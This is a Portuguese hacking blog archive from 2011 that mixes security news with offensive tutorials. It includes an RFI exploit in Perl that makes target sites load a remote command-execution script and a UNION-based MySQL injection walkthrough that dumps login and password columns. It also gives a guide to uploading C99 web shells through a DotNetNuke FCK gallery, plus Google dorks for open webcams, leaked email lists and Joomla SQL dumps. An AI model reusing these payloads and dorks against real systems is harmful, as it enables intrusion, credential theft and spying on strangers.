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terça-feira, 15 de fevereiro de 2011

Descobrir vulnerabilidade de php injection e explorando, criar exploit para php injection

Descobrir vulnerabilidade de php injection e explorando com um exploit, exploitando php injection, criar exploit para php injection

Como que acontece a inclusão de arquivos remotos (RFI)?

A função include() do PHP é usada para incluir alguma coisa.
Se essa função não for usada com segurança, alguém mal-intencionado
poderá explorar esta falha de segurança. Assim podendo desfigurar seu site ou em alguns casos só invadir seu site por invadir. incluindo scripts PHP(php injection) e executar comandos arbitrários no sistema.
Exemplo de página vulnerável:
include($_GET['page']);
Irá incluir a pagina especificada pelo programador, que será identificada via browser(na url), deixando o site vulnerável, pois qualquer um poderá mudar o nome da pagina via GET.
Ex:   http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif
Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:
system($_GET['cmd']);
http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir
A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:
O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43
29/02/2008 22:43
29/02/2008 22:43 31 vuln.php
Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows dependendo do sistema operacional)
Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/
Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt
Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.
Exemplos:
—————————————————————————-
system($_GET['cmd']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
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system($_GET['exec']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-
system($_GET['comando']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
OBS: É obvio que a pagina a ser injetada tem que estar em algum lugar que você colocar, e no servidor de hospedagem que você quiser.
—————————————————————————-

Vamos construir o exploit para explorar

Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.
#!/usr/bin/perl
if(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
} ($site, $page, $script, $comando) = @ARGV;
Os parâmetros necessários são passados como ‘argumentos’.
Se o total de argumentos passados para a execução do script for diferente de ‘4′ então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:
system($_GET['cmd']);
então quando formos iniciar a requisição, colocaremos:
$argv_script = "&cmd=";
portanto, a página que devemos ‘visitar’ será
$pagina = $site.$page.$script.$argv_script.$comando;
Exemplo:
http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir
Com o módulo LWP::Simples, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.
$resposta = get($pagina);
e mostramos a saída do servidor web,
print $resposta;
O corpo do exploit está concluído, o exploit é:
#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = “&cmd=”;
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;
seria o mesmo que
$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];
Melhorias estéticas podem ser feitas, como por exemplo o uso de .
#!/usr/bin/perl
use LWP::Simples; site:
print "Host (Ex.: www.site.com): ";
$site = ;
if($site eq “”){
goto site;
}
if($site =~ /http:\/\//){
print ‘Nao coloque http:// !’.”\n”;
goto site;
}
pagina:
print “Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): “;
$page = ;
if($site eq “”){
goto pagina;
}
script:
print “Script (Ex.: http://www.host-files.com/script.txt): “;
$script = ;
if($script eq “”){
goto script;
}
if($script !~ /http:\/\//){
goto script;
}
print “Variavel para executar comandos (script)\n”;
print ‘Ex.: cmd = system($_GET[\'cmd\']): ‘;
$argv_script = ;
if(!$argv_script){
$argv_script = “cmd”;
}
$argv_script = ‘&’.$argv_script.’=';
comando:
print “Comando: “;
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;
Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade. Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.
Méritos: Colt7r

fonte:http://juancarloscunha.wordpress.com/2009/08/24/descobrir-vulnerabilidade-de-php-injection-e-explorando-com-um-exploit-exploitando-php-injection-criar-exploit-para-php-injection/

Google Está Oferecendo US$ 20.000 e um Cr-48 por Hacks do Chrome

Google Está Oferecendo US$ 20.000 e um Cr-48 por Hacks do Chrome

A Google está oferecendo US$ 20.000 e um notebook CR-48 com o Chrome OS para o hacker que puder fazer sua mágica no navegador Chrome como parte do concurso de hacking Pwn2Own.
O hacker deve usar as vulnerabilidades presentes puramente no código escrito pela Google e fugir da sandbox para que o hack tenha sucesso.
O concurso é organizado pela equipe do Zero Day Initiative (ZDI) da HP TippingPoint e oferece prêmios adicionais para hacks do Microsoft Internet Explorer, do Apple Safari e do Mozilla Firefox, e também dos celulares Dell Venue Pro com o SO Windows 7, iPhone 4 com o iOS, Blackberry Torch 9800 com o Blackberry 6 OS e o Nexus S com o Android, totalizando US$ 105.000.
Os hacks que funcionarem nesses dispositivos e navegadores dará ao hacker responsável US$ 15.000 em dinheiro, o próprio dispositivo e também alguns bônus para o uso do ZDI em 2011.
É importante lembrar que, ao contrário do que foi dito por aí, o notebook CR-48 é apenas um prêmio, e que o hack mais importante para a Google será do navegador Chrome em um notebook que esteja rodando o Windows 7 ou o Mac OS X.

segunda-feira, 14 de fevereiro de 2011

Google lança scanner de segurança aberto

Google lança scanner de segurança aberto


O Google disponibilizou um novo scanner de código aberto que permite a busca por vulnerabilidades e testes de segurança em aplicações web.
Segundo a empresa, o Skipfish é capaz de detectar falhas na programação relativas a scripts cross-site (XSS), SQL injection, XML injection e outras ameaças mais comuns da rede.

O programa pode processar mais dois mil pedidos HTTP por segundo em conexão direta pela internet, caso o servidor agüente. Além disso, ele é capaz de rodar sete mil pedidos em redes locais, exibindo uso moderado de recursos dos servidores.
“Incorporamos sistemas de segurança que diminuem a ocorrência de falsos positivos e que têm a capacidade de encontrar as vulnerabilidades mais sutis”, afirmou Michal Zalewski, da equipe de segurança da informação do Google.
Escrito em puro C, o Skipfish traz heurística com suporte a diversos frameworks. Além disso, ele tem capacidade automática de aprendizado, criação de listas de palavras atualizadas constantemente e recurso autocompletar para formulários.
Outra vantagem da ferramenta é a tradução dos resultados dos testes para termos mais compreensivos, que auxiliam na interpretação dos relatórios gerados.
Quer fazer o teste?


Saiba um pouco mais na documentação do scanner
http://code.google.com/p/skipfish/wiki/SkipfishDoc

Fonte:http://info.abril.com.br/noticias/seguranca/google-lanca-scanner-aberto-de-seguranca-24032010-20.shl 

Stuxnet – O vírus mais poderoso do mundo

Stuxnet – O vírus mais poderoso do mundo

Stuxnet é um worm de computador projetado especificamente para atacar o sistema operacional SCADA, desenvolvido pela Siemens para controlar as centrífugas de enriquecimento de urânio iranianas. Foi descoberto em junho de 2010 pela empresa bielorrussa desenvolvedora de antivírus VirusBlokAda. É o primeiro worm descoberto que espiona e reprograma sistemas industriais.[1] Ele foi especificamente escrito para atacar o sistema de controle industrial SCADA, usado para controlar e monitorar processos industriais.[2] O Stuxnet é capaz de reprogramar CLPs e esconder as mudanças.[3] O vírus pode estar camuflado em mais de 100 mil computadores, porém, para sistemas operacionais domésticos como o Windows e Mac OS X, o worm é inofensivo, só funciona efetivamente nas centrífugas de enriquecimento de urânio iranianas, já que cada usina possui sua própria configuração do sistema SCADA.

Hacker demonstra que caixas eletrônicos são extremamente vulneráveis

Hacker demonstra que caixas eletrônicos são extremamente vulneráveis


Barnaby Jack conseguiu um jackpot na Black Hat (conferência de segurança digital) na última quarta-feira (28/07). Duas vezes. Ao explorar falhas em duas máquinas ATM (caixas eletrônicos) diferentes, o pesquisador da IOActive foi capaz de extorquir dinheiro dos aparelhos e obter dados dos cartões de créditos de clientes que a utilizaram.
O hacker demonstrou sua habilidade em dois dispositivos adquiridos por conta própria – daqueles usualmente encontrados em bares e lojas de conveniência. Criminosos já vêm utilizando tal tática há anos, contratando profissionais para descobrir senhas de cartões ou, às vezes, simplesmente roubando as máquinas a fim de levá-las a um local mais seguro onde a mesma ação será colocada em prática.
Segundo Jack, no entanto, existe uma maneira ainda mais fácil para explorar o sistema: delinquentes podem se conectar ás máquinas simplesmente contatando-as com um telefone. Ele acredita que grande número delas pode ser controlada remotamente a partir de um simples telefonema.
Depois de experimentar com seus próprios aparelhos, Jack desenvolveu um método para derrubar o sistema de autenticação remota e instalar uma praga virtual também feita por ele. Batizada de Scrooge, ela torna possível a substituição do firmware do dispositivo. Mas, Jack não parou por aí: ele construiu um software de gerenciamento online, que lhe permitia manter contato com as máquinas infectadas, de modo a continuar a coletar os dados das pessoas que as utilizavam.
Criminosos poderiam encontrar caixas eletrônicos vulneráveis a partir do software open-source desenvolvido, fazendo com que ele ligasse para inúmeros aparelhos e apenas esperando a reposta daqueles que já estariam infectados. É uma tática parecida com aquela já utilizada para entrar, a partir da internet, no sistema de computadores responsáveis por transações comerciais.
Causa nobre
De acordo com Jack, sua demonstração foi só uma forma de provar o quão vulneráveis são os caixas eletrônicos. “O objetivo de meus atos é iniciar uma discussão sobre as melhores formas para corrigir o problema”, afirma. “Chegou a hora desses dispositivos serem atualizados. As companhias que os fabricaram não são a Microsoft; elas não sofreram dez anos de ataques contínuos”.
As máquinas as quais Jack infectou, no entanto, são baseadas em um sistema operacional da gigante dos softwares, o Windows CE.
 

Em uma convincente performance durante sua palestra na Black Hat, o hacker se conectou a um caixa eletrônico e executou o programa denominado Jackpot. O que se viu a seguir foi uma quantidade significativa de notas saindo do aparelho ao mesmo tempo que a palavra “Jackpot” era exibida em sua tela.
Na segunda parte, Jack caminhou até o dispositivo, invadiu seu sistema com uma senha obtida na internet e instalou seu firmware. Ele diz que uma simples chave pode abrir diversos caixas eletrônicos, ou seja, mais um problema de segurança dos mais preocupantes.
O curioso é que Jack havia planejado a palestra para a conferência do ano passado, mas, foi convencido por vendedores de caixas eletrônicos a adiar suas revelações. Eles pensavam que, com mais tempo, poderiam corrigir as falhas descobertas pelo hacker.

Hacker cria falsa rede de celular para invadir iPhones


 
Apesar de sua apresentação na conferência hacker Black Hat não ter sido perfeita, o estudante da Universidade de Luxemburgo, Ralf-Philipp Weinmann, mostrou que é realmente possível enganar usuários de iPhone para se conectarem a uma falsa rede GSM (Global System for Mobile Communications – utilizada pela maioria das operadoras de telefonia).
No evento realizado em Washington, nos EUA, Weinmann mostrou como invadir smartphones usando o software de código aberto OpenBTS e outros equipamentos de baixo custo. Assim foi possível criar uma falsa estação base de transmissão GSM, localizar iPhones e enviar mensagens aos seus donos. Vários usuários de iPhone presentes no evento ficaram surpresos ao receber uma mensagem pedindo que se conectassem à rede.
Weinmann, que pesquisa vulnerabilidades em redes celulares, afirmou que com o equipamento correto, o alcance da falsa estação GSM pode chegar a 35 quilômetros. “Você quer ‘pegar’ telefones não apenas de adolescentes, mas também de executivos”, disse Weinmann, adicionando ainda que é possível “ter controle total sobre o aparelho”. Parte da razão desses ataques por meio de redes falsas GSM existirem é porque o código base utilizado em smartphones como o iPhone, que é baseado em Infineon, remete aos anos 1990.
Um pouco de investigação permitiu ao especialista descobrir vulnerabilidades que podem ser exploradas. Por exemplo, ele teve ajuda ao descobrir que uma empresa italiana que faliu nos anos 1990 deixou dados sobre código para seções de memória GSM no site Sourceforge por quatro anos, antes de tirá-los do ar.
O ataque de Weinmann permitiria que ele tirasse vantagem de iPhones atraídos para sua falsa estação base para “habilitar e desabilitar a resposta automática do iPhone”. Ou com um ataque para gravar o áudio do iPhone, armazená-lo em RAM e então transmitir a informação obtida.
O estudante ainda afirmou que não quer encorajar o roubo de dados com o procedimento que demonstrou, mas sim alertar as operadoras e fabricantes para que melhorem a segurança das redes wireless. Ele também adiciona que tecnologias como femtocells (estações domésticas que permitem que as ligações de celulares sejam direcionadas para uma rede mais ampla) poderiam ser usadas para substituir o programa OpenBTS, o que apenas aumentaria os tipos de ataques que investiga.

terça-feira, 8 de fevereiro de 2011

Vou passar um mês sem posts!

passar um mês sem posts galera
Vou passar um mês sem posts galera, pois estou meio atarefado no trabalho mais volto logo com projetos novos para google inurl - Brasil, agradeço muito as visitas de toda parte do mundo, enquanto isso façam seus pedidos de post sobre google inurl de duvidas.

domingo, 30 de janeiro de 2011

Sql Injection - Aprenda e evitar

Sql Injection - Aprenda e evitar


O objetivo do post é apenas mostrar o perigo de um script que permite a exploração dessa falha.


Acredito que muita gente se preocupa mais com a manipulação da string de SQL quando se trata de uma tela de login, onde o usuário digita seu login e senha para ter acesso a uma área restrita de um sistema.


Porém o problema pode ser muito mais grave, do que permitir o acesso a uma área restrita. Um exemplo seria esse mesmo sistema de produtos ou de blog, que receba por GET/POST qual produto mostrar ou qual post o leitor irá visualizar. Se essa string recebida puder ser manipulada um grande estrago pode ser feito. Acho que todos já sabem disso e já leram em diversos lugares.


Mas aqui o objetivo é mostrar como realmente fazer isso e também mostrar uma ferramente que automatiza isso, com o intuito de você testar suas urls para verificar a presença desse tipo de falha.


O código que será postado é um exemplo de um script COM FALHA.
A explicação que você vai ler abaixo foi tirado do site:
[ http://wordsecurity.wordpress.com/2009/12/16/tutorial-mysql-injection/ ]


A ferramenta na qual falei que faz isso de forma automática é a "SqliHelper", que você pode enconrar nesse site: http://reiluke.i.ph/


Aqui segue um passo-a-passo como utilizar a ferramenta:


Onde tem target coloque esse link: http://localhost/index?mes=12&ano=2009


Click em cada um dos botões, um de cada vez:
Inject => Vai testar se o site eh vulneravel
Get Database => Vai aparecer os nomes dos bancos no servidor
Get Tables => Vai mostrar as tabelas do banco de dados q vc selecionou
Get Columns => Vai mostrar as colunas da tabela q vc escolheu


Agora Selecione todos os campos da tabela e por ultimo click em: Dump Now


Você verá que caso uma tabela que contenha senhas, e essas senhas não for criptografada, o invasor terá TODAS as senhas. É importante que você sempre guarde as senhas no banco de forma criptograda, dessa forma mesmo que um usuário tenha acesso as senhas ele não conseguirá ler.


Existe um post no site que fala exatamente como criar uma senha criptografada de forma SEGURA!


http://www.codigopronto.com.br/codigo-ler/7/gera-um-hash-com-salt-aleatorio




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[Tutorial] MySQL Injection [ http://wordsecurity.wordpress.com/2009/12/16/tutorial-mysql-injection/ ]


Então , como muitos sabem uma das falhas de programação web mais encontrada na internet é de banco de dados SQL .
O que posso dizer é que para explorar não necessita de um tipo especifico de requisição ( Post ou Get ) .


Portanto vamos ao tutorial :


Antes de mais nada não é necessariamente necessario algum erro de consulta para saber se esta realmente vul , e sim sua interpretação…


Erros de consultas no mysql_error() para possivelmente vuls , por exemplo :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/renan/public_html/noticias.php on line 211

&

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1


No caso ah erro na consulta , mas não siginifica que em todos sites estaram mostrando .
Muitos dizem que só é possivel explorar caso lhe retorne algum erro , mas nem sempre é necessario…


$id = $_GET;
$q = "SELECT * FROM informativos WHERE id = '$id'";
$r = mysql_query($q) or die(mysql_error());
?>


#################################################


Vamos a pratica :
Se adicionarmos no final de um string uma simples aspas ela ira modificar a syntax retornando algum daqueles erros acima ou não modificaria a pagina.
Nossa query de consulta com aspas no fim da string de um site seria:
SELECT * FROM informativos WHERE id = '3''


Achando Colunas
Voce pode usar duas formas de achar as colunas , por “order by” ou “union+all+select+” .


No caso de “order by” voce fica procurando até aparecer o erro ” unknown column ‘5? in ‘order clause’ ” .
Ja no ” union+all+select+ ” voce adicionaria o numero de strings que representa a qtd de colunas daquele query .
Exemplo
Aqui temos um site onde a quantidade de colunas nos retornara umas string na pagina .
www.site.com.br/informativos.php?id=3+union+all+select+1 Nada

www.site.com.br/informativos.php?id=3+union+all+select+1,2 Nada

www.site.com.br/informativos.php?id=3+union+all+select+1,2,3 Nada

www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4 Nada

www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5 strings de ex 2,3 e 4


Mas em outros sites voce com esse mesmo tipo de consulta as colunas o erro seria :
” The used SELECT statements have a different number of columns “


——————————————————————–


Informações do host
version() => versão do MySQL
database() => nome do banco de dados da query
user() ou system_user() => usuario do banco de dados
now() => hora e data atual


Exemplo:
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,version(),5

5.0.54-log



www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,database(),5

renan



www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,user(),5

[email protected]



www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,now(),5

2009-08-28 23:19:41


——————————————————————–


Achando Tabelas
Para se achar as colunas acho facil e voce ira compreender meu raciocineo.
Por exemplo voce poderia usar metodo de chute( brute ) de tabelas ou Dumpea-las , mas quando usa-las ?
A nossa resposta é de que versões anteriores do MySQL abaixo de 5.x.y não se pode dumpear então seria por chute , só que versões acima ou ela mesmo voce utiliza o metodo
de achar as colunas por meio de information_schema ( dumpear ) .


concat concatenar = colocar em ordem


group_concat() => busca tudo o que deseja juntamente com caracters em hexadecimal
concat() => busca o que deseja juntamente com caracters em hexadecimal
concat_ws() => une


-> No caso de chute ( brute ) voce utilizaria ” +from+ :
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5+from+Renan


Se não houver a tabela de nome “Renan” ira nos retornar o erro ” Table ‘database.renan’ doesn’t exist “
Se houver nos retornaria a pagina com as mesmas strings de achado as colunas .


-> No caso de Dumpear :
Temos 2 jeitos bem faceis que voce pode escolher.


=====—————————————————-=====


1º Metodo:
Nesse metodo as tabelas estam em hexadecimal.


renan_usuarios 0x72656e616e5f7573756172696f73


Temos então um site onde queremos pegar todas as tabelas .
www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(table_name),5

+from+information_schema.tables where table_schema=database()--
Retornaria-nos as seguintes tabelas postas na pagina :
adm_area,amado_agenda_fotos,amado_cadastros,amado_fotos,amado_usuarios,site_mp3,site_testemunhe,etc.



Comandos:
group_concat(table_name)

+from+information_schema.tables+where+table_schema=database()--


Agora temos de encontrar as colunas de uma determinada tabela .
www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(column_name),5

+from+information_schema.columns+where+table_name=0x72656e616e5f7573756172696f73
Retornaria-nos as seguintes colunas postas na pagina de uma tabela :
id,login,senha,email,status


Comandos:
group_concat(column_name)
+from+information_schema.column+where+table_schema=database()--


=====—————————————————-=====


2º Metodo:
Nesse metodo as tabelas estam em decadecimal
Usaremos o limit que funcionara para selecionar as linhas conforme o database
+limit+0,1–

+limit+1,2–

+limit+2,1–

+limit+3,2–

+limit+4,3–
etc…


www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(table_name),5

+from+information_schema.tables+limit+0,1--
Retornaria-nos a seguinte tabelas posta na pagina :
CHARACTER_SETS
Para poder achar as tabelas de logins voce alternaria o limit como acima.
Comandos:
concat(table_name)

+from+information_schema.tables+limit+0,1--



renan_usuarios char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)


www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(column_name),5

+from+information_schema.columns where table_name=

char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)+limit+0,1--
Retornaria-nos a seguinte coluna posta na pagina de uma tabela :
id
Para poder achar as colunas da tabela voce alternaria o limit como acima.
Comandos:
concat(column_name)

+from+information_schema.columns where table_name=char(tabela_em_decimal)+limit+0,1–


e por fim mostrando os dados de logins
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,

concat(login,0x20,senha),5+from+renan_usuarios

Fonte:http://www.codigopronto.com.br/

terça-feira, 25 de janeiro de 2011

Busca de webcans online

webcan hacking
Fiz essa string para aqueles que gostam de fuçar a vida do próximo  com esse código de busca temos acesso á Aproximadamente 79.900 resultados  (0,31 segundos), em nossa busca exclusão de site que contenham o termo hack,hacker,crack, assim nossa busca fica mais limpa e objetiva.
Quantidade:1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código:
+inurl:/control/userimage.html -blog -hack -hacker -crack

String para buscar proxy uma lista

proxy


Proxy é um servidor que atende a requisições repassando os dados do cliente à frente. Um usuário (cliente) conecta-se a um servidor proxy, requisitando algum serviço, como um arquivo, conexão, website, ou outro recurso disponível em outro servidor.
Um servidor proxy pode, opcionalmente, alterar a requisição do cliente ou a resposta do servidor e, algumas vezes, pode disponibilizar este recurso sem nem mesmo se conectar ao servidor especificado. Pode também atuar como um servidor que armazena dados em forma de cache em redes de computadores. São instalados em máquinas com ligações tipicamente superiores às dos clientes e com poder de armazenamento elevado.
Esses servidores têm uma série de usos, como filtrar conteúdo, providenciar anonimato, entre outros.
Um HTTP caching proxy, por exemplo, permite que o cliente requisite um documento na World Wide Web e o proxy procura pelo documento em seu cache. Se encontrado, o documento é retornado imediatamente. Caso contrário, o proxy busca o documento no servidor remoto, entrega-o ao cliente e salva uma cópia no seu cache. Isso permite uma diminuição na latência, já que o servidor proxy, e não o servidor original, é acessado, proporcionando ainda uma redução do uso de banda.



Com isso temos conhecimento da importância de um proxy
criei um dork google pra busca destas listas de proxy disponíveis em sites

String dork
Quantidade:1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código:
+":8080" +":3128" +":80" filetype:txt

Lista de proxy

Dorks para scanner de RFI

Remote File Inclusion

Remote File Inclusion (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites, que permite a um atacante para incluir um arquivo remoto normalmente através de um script no servidor web . The vulnerability occurs due to the use of user supplied input without proper validation. A vulnerabilidade ocorre devido ao uso do produto fornecido a entrada do usuário sem a devida validação. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to: Isso pode levar a algo tão mínimo como saída o conteúdo do arquivo, mas dependendo da gravidade, para listar alguns, pode levar a:
Strings de RFI - INJECTION
uma pequena lista dorks 
Quantidade:Aproximadamente 596strings
Autor:Desconhecido
Fonte:goo.gl/5IPJM

domingo, 23 de janeiro de 2011

Vulnerabilidade em base de email

Vulnerabilidade em base de email
Vulnerabilidade em base de email com os termos "Mailbase +br txt" temos acesso a base de mail de vários sites com email brasileiros e internacionais no formato txt
Quantidade:Aproximadamente 1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com

Código:
inurl:mailbase +br ext:txt

String google Acessando arquivo .SQL de sites em joomla

String google Acessando arquivo .SQL de sites em joomla

Com os termos de pesquisa "+joomla +login +user +admin +pass" o google faz uma varredura atrás dos mesmo, tabelas de usuários;administradores;senhas são nosso alvo principal. geralmente as senhas de users são criptografadas com MD5  , Por isso recomendo alguns sites para descriptografia de senhas.
Quantidade:Aproximadamente 1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código:
+joomla  +login|+user|+admin +pass ext:sql

Lista de Dork para Scanner de vulnerabilidade Joomla

Lista de Dork para Scanner de vulnerabilidade Joomla
Joomla! (pronuncia-se djumla) é um Sistema de gestão de conteúdos (Content Management System - CMS) desenvolvido a partir do CMS Mambo. É desenvolvido em PHP e pode ser executado no servidor Web Apache ou IIS e base de dados MySQL.
É um projeto de código aberto (licença GNU/GPL) e a sua última versão estável é a 1.5.21 (em 08 de Outubro de 2010); a sua última versão legada é a 1.0.15. O Joomla! é uma ferramenta de CMS muito poderosa, tendo recebido o "Linux Awards".

Lista de Dork para Scanner de vulnerabilidade Joomla
Quantidade:Aproximadamente 61 strings
Autor:Desconhecido
Fonte:Desconhecido

Strings de SQL - INJECTION

Strings de SQL - INJECTION
Structured Query Language, ou Linguagem de Consulta Estruturada ou SQL, é uma linguagem de pesquisa declarativa para banco de dados relacional (base de dados relacional). Muitas das características originais do SQL foram inspiradas na álgebra relacional.
O SQL foi desenvolvido originalmente no início dos anos 70 nos laboratórios da IBM em San Jose, dentro do projeto System R, que tinha por objetivo demonstrar a viabilidade da implementação do modelo relacional proposto por E. F. Codd. O nome original da linguagem era SEQUEL, acrônimo para "Structured English Query Language" (Linguagem de Consulta Estruturada em Inglês) [1], vindo daí o facto de, até hoje, a sigla, em inglês, ser comumente pronunciada "síquel" ao invés de "és-kiú-él", letra a letra. No entanto, em português, a pronúncia mais corrente é a letra a letra: "ésse-quê-éle".
A linguagem SQL é um grande padrão de banco de dados. Isto decorre da sua simplicidade e facilidade de uso. Ela se diferencia de outras linguagens de consulta a banco de dados no sentido em que uma consulta SQL especifica a forma do resultado e não o caminho para chegar a ele. Ela é uma linguagem declarativa em oposição a outras linguagens procedurais. Isto reduz o ciclo de aprendizado daqueles que se iniciam na linguagem.
Strings de SQL - INJECTION
uma pequena lista dorks 
Quantidade:Aproximadamente 127 strings
Autor:Desconhecido
Fonte:Desconhecido 

Ação PHP (viewfaqs.php) Tem Vulnerabilidade a Blind SQL Injection

Ação PHP  viewfaqs.php Tem Vulnerabilidade a  Blind SQL Injection

Vulnerabilidade divulgada
Data: 2011/01/21Divulgada pelos grupos: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
 Exploit Code :  
==
[#]Script: PHP auctions
[
#]Version: n/a
[
#]Link: http://phpauctions.info
==
[
#]Author: BorN To K!LL - h4ck3r
==
[
#]3xploit:
/viewfaqs.php?cat=[Blind-Injection]

[
#]3xample:
/viewfaqs.php?cat=2 and substring(version(),1,1)=4 // false ,,
/viewfaqs.php?cat=2 and substring(version(),1,1)=5 // true ,,

Assim temos acesso a versão do DB do site
==
[
#]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"

==

Código de busca google:
inurl:/viewfaqs.php?cat=2

Fonte:goo.gl/I6ayE

Scanneando com strings google e Invadindo site

Scanneando com strings google e Invadindo site

Com esse tutorial simples é rápido vamos aprender como fazer upload em sites rapidamente e depois ter acesso

Etapa 01 -
Acesse o www.google.com.br

Etapa 02 -
A busca use o código de pesquisa sabiamente.
Procure pelo seguinte termo
Código:
inurl:/tabid/36/language/en-US/Default.aspx

Etapa 03 -
Com a busca efetuada Aproximadamente 582 resultados (0,25 segundos) escolha um site de sua preferencia,
e substitua o termo "/tabid/36/language/en-US/Default.aspx" por,
Código:
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Exemplo:
www.site.com.br/tabid/36/language/en-US/Default.aspx      -01

www.site.com.br/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx -02


Etapa 04 -Você vai ter um link page.So Gallary onde pode criar urls para dentro dos site
Etapa 05 -Não faça nada por enquanto, abordando fase final.
"A caixa e parecida com essa."
PART 01 Scanneando com strings google e Invadindo site


Etapa 06 -
Agora substitua a URL na barra de endereços com um simples script
"delete o endereço do site e cole o código abaixo"
Código:
javascript:__doPostBack('ctlURL$cmdUpload','')

"Depois do script inserido na barra de endereços a caixa fica assim"
PART 02 Scanneando com strings google e Invadindo site



Etapa 07 -
Você vai encontrar a opção de Upload

Etapa 08 -
Selecione Raiz
  
Etapa 09 -
Envie seu pacote de Seu Shell C99, C100 etc..


OBS: todos esse processos foram feitos para que entenda como funciona
podemos ir deireto á fonte também.
Código:
intext:/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx 

ou

Código:
*Fck/fcklinkgallery.aspx 

 ou

Código:
intitle:"Link Gallery" +fcklinkgallery ext:aspx

sábado, 22 de janeiro de 2011

Procurando por vulnerabilidade no sistema de forums Vbulletin

Este resumo não está disponível. Clique aqui para ver a postagem.

Strings para scanner # SQL Injection Dork List #

Strings para scanner Dorck: RFI PHP SQL - Injection

# SQL Injection Dork List #
SQL Injection ou injeção de SQL é uma técnica de invasão de sistemas que se tornou famosa na Internet, mas pode ser utilizada em qualquer linguagem de programação. No entanto, na Internet temos uma combinação explosiva:
  • A aplicação está acessível para toda internet que possui milhares de usuários dispostos a quebrar seu sistema;
  • O uso de linguagens de script fracamente tipadas em conjunto com com tipos de dados fracamente tipados ajuda a abrir algumas brexas de segurança.
  • O protocolo HTTP tem peculiaridades que quando mal utilizadas podem tornar uma aplicação web mais vulnerável como o uso de parâmetros GET.
    Mais conceito
===========================
site:.gov.br +sql +error inurl:"id="
index.php?option=com_mambads
inurl:index.php?option=com_expose
intitle:guestbook  "advanced guestbook 2.2 powered"
filetype:asp inurl:"shopdisplayproducts.asp
"Powered by: vBulletin * 3.0.1"  inurl:newreply.php
"Powered by Invision Power Board(U) v1.3 Final"
inurl:gotoURL.asp?url=
inurl:comersus_message.asp
ext:pl inurl:cgi intitle:"FormMail *"  -"*Referrer" -"* Denied" -sourceforge -error -cvs -input
inurl:"dispatch.php?atknodetype" |  inurl:class.at
"Powered by Gallery v1.4.4"
inurl:/cgi-bin/index.cgi inurl:topics inurl:viewca
inurl:"/becommunity/community/index.php?pageurl="
"Powered *: newtelligence" ("dasBlog 1.6"| "dasBlog 1.5"| "dasBlog 1.4"|"dasBlog 1.3")
filetype:cgi inurl:tseekdir.cgi
